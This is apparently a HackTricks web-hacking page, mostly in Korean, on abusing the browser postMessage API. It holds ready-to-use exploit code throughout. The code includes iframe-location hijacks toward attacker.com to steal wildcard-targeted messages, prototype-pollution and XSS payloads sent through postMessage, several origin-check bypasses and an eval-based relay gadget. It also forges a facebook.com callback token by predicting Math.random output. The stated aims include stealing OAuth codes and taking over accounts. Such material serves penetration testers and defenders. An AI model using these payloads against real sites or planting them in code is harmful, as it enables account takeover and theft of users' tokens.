PostMessage 취약점
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
전송 PostMessage
PostMessage는 메시지를 보내기 위해 다음 함수를 사용합니다:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
참고로 targetOrigin은 ‘*’ 또는 https://company.com. 같은 URL이 될 수 있습니다.\
두 번째 시나리오에서는 message는 해당 도메인으로만 전송될 수 있습니다 (window 객체의 origin이 다르더라도).\
만약 wildcard가 사용되면, messages는 어떤 도메인으로든 전송될 수 있으며, Window 객체의 origin으로 전송됩니다.
targetOrigin의 iframe & wildcard 공격
앞서 this report에서 설명한 것처럼, 만약 프레임으로 포함될 수 있는 페이지(iframed, no X-Frame-Header protection)를 찾고 그 페이지가 wildcard(*)를 사용하여 postMessage로 sending sensitive message를 전송하고 있다면, iframe의 origin을 modify하여 그 sensitive message를 당신이 제어하는 도메인으로 leak할 수 있습니다.\
페이지는 iframed 될 수 있지만 targetOrigin이 wildcard가 아니라 URL로 설정되어 있다면, 이 trick은 작동하지 않습니다.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener exploitation
addEventListener 는 JS에서 postMessages를 기대하는 함수를 선언할 때 사용됩니다.
다음과 유사한 코드가 사용됩니다:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn’t check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).
열거
현재 페이지에서 event listeners 찾기 위해 다음을 수행할 수 있다:
- JS 코드에서
window.addEventListener와$(window).on검색 (JQuery version) - 개발자 도구 콘솔에서 실행:
getEventListeners(window)
 (1).png)
- 개발자 도구에서 이동: Elements –> Event Listeners
.png)
- browser extension 사용: https://github.com/benso-io/posta or https://github.com/fransr/postMessage-tracker. 이 브라우저 확장은 모든 메시지를 가로채어 표시한다.
Origin 체크 우회
event.isTrusted속성은 genuine user actions로 생성된 이벤트에서만True를 반환하므로 안전하다고 간주된다. 올바르게 구현되어 있다면 우회하기 어렵지만, 보안 검사에서의 중요성은 크다.- PostMessage 이벤트에서 origin 검증에 **
indexOf()**를 사용하는 것은 우회될 수 있다. 예시는 다음과 같다:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
String.prototype.search()의search()메서드는 문자열이 아닌 정규식용으로 설계되었다. regexp가 아닌 값을 전달하면 암묵적으로 정규식으로 변환되어 메서드가 잠재적으로 안전하지 않을 수 있다. 정규식에서 점(.)은 와일드카드로 동작하므로, 특수하게 조작된 도메인을 통해 검증 우회가 가능하다. 예를 들면:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
match()함수도search()와 유사하게 정규식을 처리한다. 정규식이 잘못 구성되어 있으면 우회될 수 있다. -
escapeHtml함수는 문자를 이스케이프하여 입력을 소독하려는 목적이다. 하지만 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어쓴다. 이 동작은 악용될 수 있다. 특히, 제어 가능한 객체의 속성이hasOwnProperty를 인식하지 못하도록 조작할 수 있다면,escapeHtml은 예상대로 동작하지 않는다. 아래 예제에서 이를 보여준다: -
예상 실패:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- escape 우회:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
이 취약점의 맥락에서, File 객체는 읽기 전용 name 속성 때문에 특히 악용 가능하다. 이 속성은 템플릿에서 사용될 때 escapeHtml에 의해 소독되지 않아 보안 위험을 초래할 수 있다.
- 자바스크립트의
document.domain속성은 스크립트에 의해 도메인을 축약하도록 설정될 수 있으며, 동일한 상위 도메인 내에서 더 느슨한 same-origin 정책 적용을 허용할 수 있다.
Origin-only trust + trusted relays
수신자가 **event.origin**만 검사하는 경우(예: *.trusted.com을 모두 신뢰), 해당 origin에서 공격자가 제어하는 파라미터를 postMessage를 통해 제공된 targetOrigin/targetWindow로 반사하는 “relay” 페이지를 종종 찾을 수 있다. 예시로는 쿼리 파라미터를 받아 {msg_type, access_token, ...}를 opener/parent로 전달하는 marketing/analytics 가젯이 있다. 다음과 같이 할 수 있다:
- opener가 있는 popup/iframe에서 피해자 페이지를 열어 핸들러가 등록되게 한다(많은 픽셀/SDK는
window.opener가 존재할 때만 리스너를 붙임). - 다른 공격자 창을 신뢰된 origin의 relay 엔드포인트로 이동시켜, 주입하고자 하는 메시지 필드(메시지 타입, 토큰, nonce 등)를 채운다.
- 메시지가 이제 trusted origin에서 온 것처럼 보이므로, origin-only 검증을 통과하고 피해자 리스너에서 권한 있는 동작(상태 변경, API 호출, DOM 쓰기 등)을 트리거할 수 있다.
실전에서 관찰된 악용 패턴:
- Analytics SDK들(예: pixel/fbevents-style)은
FACEBOOK_IWL_BOOTSTRAP같은 메시지를 소비한 후, 메시지에 포함된 토큰을 사용해 백엔드 API를 호출하고 요청 본문에 **location.href/document.referrer**를 포함시킨다. 공격자가 자체 토큰을 제공하면 해당 토큰의 요청 이력/로그에서 이러한 요청을 읽고 피해자 페이지의 URL/referrer에 있는 OAuth 코드/토큰을 exfil할 수 있다. - 임의의 필드를
postMessage로 반사하는 어떤 relay든, 권한 있는 리스너가 기대하는 메시지 타입을 스푸핑하게 해준다. 취약한 입력 검증과 결합하면 Graph/REST 호출, 기능 잠금 해제, 또는 CSRF와 유사한 흐름에 도달할 수 있다.
헌팅 팁: postMessage 리스너 중 event.origin만 검사하는 것들을 열거(enumerate)한 다음, URL 파라미터를 postMessage로 전달하는 same-origin HTML/JS 엔드포인트(marketing previews, 로그인 팝업, OAuth 오류 페이지)를 찾아라. window.open() + postMessage를 조합해 origin 검증을 우회하라.
e.origin == window.origin 우회
sandboxed iframe을 %%%%%% 사용해 임베드할 때, iframe의 origin이 null로 설정된다는 점을 이해하는 것이 중요하다. 이는 sandbox 속성과 그 보안 및 기능 영향과 관련하여 특히 중요하다.
sandbox 속성에 **allow-popups**를 지정하면, iframe 내부에서 열린 모든 popup 창은 부모의 sandbox 제한을 상속한다. 따라서 allow-popups-to-escape-sandbox 속성이 포함되지 않으면 popup 창의 origin 역시 null로 설정되어 iframe의 origin과 일치한다.
그 결과, 이러한 조건에서 popup이 열리고 iframe에서 popup으로 **postMessage**로 메시지를 보낼 경우, 송신 측과 수신 측 모두 origin이 null로 설정된다. 이 상황에서는 iframe과 popup이 모두 null이라는 동일한 origin 값을 공유하므로 **e.origin == window.origin**이 true로 평가된다(null == null).
For more information read:
Bypassing SOP with Iframes - 1
e.source 우회
메시지가 스크립트가 리스닝하고 있는 동일한 창에서 왔는지 확인하는 것이 가능하다(특히 Content Scripts from browser extensions가 메시지가 동일한 페이지에서 전송되었는지 확인할 때 흥미롭다):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
메시지의 e.source 값을 null로 만들려면 iframe이 postMessage를 전송하고 즉시 삭제되도록 생성하면 됩니다.
자세한 내용은 읽어보세요:
Bypassing SOP with Iframes - 2
X-Frame-Header bypass
이 공격을 수행하려면 이상적으로는 피해자 웹 페이지를 iframe 안에 넣을 수 있어야 합니다. 하지만 X-Frame-Header 같은 일부 헤더는 해당 동작을 방지할 수 있습니다.
그런 경우에는 덜 은밀한 공격을 사용할 수 있습니다. 취약한 웹 애플리케이션을 새 탭으로 열고 해당 탭과 통신할 수 있습니다:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Stealing message sent to child by blocking the main page
다음 페이지에서는 데이터를 전송하기 전에 blocking된 main 페이지를 이용해 child iframe로 전송된 sensitive postmessage data를 XSS in the child를 악용해 수신되기 전에 leak the data할 수 있는 방법을 볼 수 있습니다:
Blocking main page to steal postmessage
Stealing message by modifying iframe location
X-Frame-Header가 없는 웹페이지를 iframe할 수 있고 그 페이지가 다른 iframe을 포함하고 있다면, change the location of that child iframe할 수 있습니다. 따라서 만약 그 iframe이 postmessage를 wildcard로 전송받고 있다면, 공격자는 해당 iframe의 origin을 자신이 controlled하는 페이지로 change하여 메시지를 steal할 수 있습니다:
Steal postmessage modifying iframe location
postMessage를 통한 Prototype Pollution 및/또는 XSS
postMessage로 전송된 데이터가 JS에 의해 실행되는 시나리오에서는, 해당 page를 iframe하고 postMessage로 익스플로잇을 보내 prototype pollution/XSS를 exploit할 수 있습니다.
A couple of very good explained XSS though postMessage can be found in https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Example of an exploit to abuse Prototype Pollution and then XSS through a postMessage to an iframe:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
추가 정보:
- prototype pollution에 관한 페이지
- XSS에 관한 페이지
- client side prototype pollution to XSS에 관한 페이지
Origin-derived 스크립트 로딩 및 공급망 피벗 (CAPIG 사례 연구)
capig-events.js는 window.opener가 존재할 때만 message 핸들러를 등록했습니다. IWL_BOOTSTRAP 시에는 pixel_id를 확인했지만 event.origin을 저장했고 이후 ${host}/sdk/${pixel_id}/iwl.js를 생성하는 데 사용했습니다.
공격자가 제어하는 origin을 기록하는 핸들러
```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```Exploit (origin → script-src pivot):
- Get an opener: e.g., in Facebook Android WebView reuse
window.namewithwindow.open(target, name)so the window becomes its own opener, then post a message from a malicious iframe. - Send
IWL_BOOTSTRAPfrom any origin to persisthost = event.origininlocalStorage. - Host
/sdk/<pixel_id>/iwl.json any CSP-allowed origin (takeover/XSS/upload on a whitelisted analytics domain).startIWL()then loads attacker JS in the embedding site (e.g.,www.meta.com), enabling credentialed cross-origin calls and account takeover.
If direct opener control was impossible, compromising a third-party iframe on the page still allowed sending the crafted postMessage to the parent to poison the stored host and force the script load.
Backend-generated shared script → stored XSS: the plugin AHPixelIWLParametersPlugin concatenated user rule parameters into JS appended to capig-events.js (e.g., cbq.config.set(...)). Injecting breakouts like "]} injected arbitrary JS, creating stored XSS in the shared script served to all sites loading it.
Trusted-origin allowlist isn’t a boundary
A strict event.origin check only works if the trusted origin cannot run attacker JS. When privileged pages embed third-party iframes and assume event.origin === "https://partner.com" is safe, any XSS in partner.com becomes a bridge into the parent:
// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})
실제로 관찰된 공격 패턴:
- Exploit XSS in the partner iframe 및 relay gadget를 삽입하여 모든
postMessage가 신뢰된 origin 내부에서 code exec가 되도록 함:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
- From the attacker page, 취약해진 iframe에 JS를 보내 부모로 허용된 메시지 타입을 전달하도록 한다. 메시지는
partner.com에서 발생하고 allowlist를 통과하며 안전하지 않게 삽입되는 HTML을 담고 있다:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
- 부모가 공격자 HTML을 주입하면 JS execution in the parent origin(예:
facebook.com)이 발생하여 OAuth 코드를 탈취하거나 전체 계정 탈취 흐름으로 피벗하는 데 사용될 수 있습니다.
Key takeaways:
- Partner origin isn’t a boundary: ‘trusted’ 파트너에서 발생한 어떤 XSS든 공격자가 허용된 메시지를 보내
event.origin검사를 우회하게 해줍니다. - Handlers that render partner-controlled payloads (예:
innerHTMLon specific message types)는 파트너가 침해될 경우 same-origin DOM XSS를 초래합니다. - 넓은 message surface(다양한 타입, 구조 검증 없음)는 파트너 iframe이 침해되었을 때 피벗할 더 많은 gadgets를 제공합니다.
Predicting Math.random() callback tokens in postMessage bridges
메시지 검증이 Math.random()으로 생성된 “shared secret”(예: guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") })을 사용하고 동일한 헬퍼가 plugin iframes의 이름도 지정한다면 PRNG 출력값을 복구하고 신뢰된 메시지를 위조할 수 있습니다:
- Leak PRNG outputs via
window.name: SDK는 plugin iframes에guid()로 자동 이름을 부여합니다. 상위 프레임을 제어할 수 있다면 victim 페이지를 iframe으로 로드한 뒤 plugin iframe을 당신의 origin으로 이동시켜(예:window.frames[0].frames[0].location='https://attacker.com')window.frames[0].frames[0].name을 읽어 원시Math.random()출력을 얻을 수 있습니다. - Force more outputs without reloads: 일부 SDK는 reinit 경로를 노출합니다; FB SDK에서는
{xfbml:1}와 함께init:post를 발생시키면XFBML.parse()가 강제되어 plugin iframe을 파괴/재생성하고 새로운 이름/콜백 ID를 생성합니다. 반복 reinit으로 필요한 만큼 PRNG 출력을 생성할 수 있습니다(콜백/iframe ID용 추가 내부Math.random()호출이 있으므로 중간 값을 건너뛰어야 합니다). - Trusted-origin delivery via parameter pollution: first-party plugin endpoint가 정제되지 않은 파라미터를 cross-window payload에 반영(reflect)한다면(예:
/plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), 신뢰된facebook.comorigin을 유지하면서&type=...&iconSVG=...를 주입할 수 있습니다. - Predict the next callback: 유출된 iframe 이름을
[0,1)의 부동소수점으로 변환하고 여러 값을(비연속적이어도 가능) V8Math.random예측기(예: Z3 기반)에 입력하세요. 로컬에서 다음guid()를 생성해 예상되는 콜백 토큰을 위조합니다. - Trigger the sink: postMessage 데이터를 조작해 브리지가
xd.mpn.setupIconIframe를 디스패치하고iconSVG에 HTML을 주입하도록 하세요(예: URL-encoded<img src=x onerror=...>). 이렇게 하면 호스팅 origin 내부에서 DOM XSS가 발생하고, 거기서부터 same-origin iframe들(OAuth dialogs, arbiters 등)을 읽을 수 있습니다. - Framing quirks help: 이 체인은 framing을 필요로 합니다. 일부 모바일 webview에서는
frame-ancestors가 존재할 때X-Frame-Options가 지원되지 않는ALLOW-FROM으로 퇴화할 수 있고, “compat” 파라미터가 관대한frame-ancestors를 강제해window.name사이드 채널을 가능하게 할 수 있습니다.
최소 위조 메시지 예시
// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback
참고자료
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- 연습용: https://github.com/yavolo/eventlistener-xss-recon
- CAPIG postMessage origin trust → script loading + stored JS injection
- Self XSS Facebook Payments
- Facebook JavaScript SDK Math.random callback prediction → DOM XSS writeup
- V8 Math.random() state recovery (Z3 predictor)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


